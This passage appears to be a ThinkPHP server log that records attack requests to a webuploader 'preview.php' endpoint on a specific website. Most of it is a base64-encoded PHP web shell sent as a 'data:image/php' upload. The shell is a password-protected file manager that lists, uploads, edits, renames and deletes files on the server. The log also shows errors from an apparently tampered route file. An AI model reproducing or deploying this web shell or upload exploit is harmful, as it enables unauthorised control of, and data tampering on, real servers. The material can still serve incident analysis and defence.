W51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:56+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/admin/webuploader/0.1.15/server/preview.php [运行时间:0.002704s] [吞吐率:369.80req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8g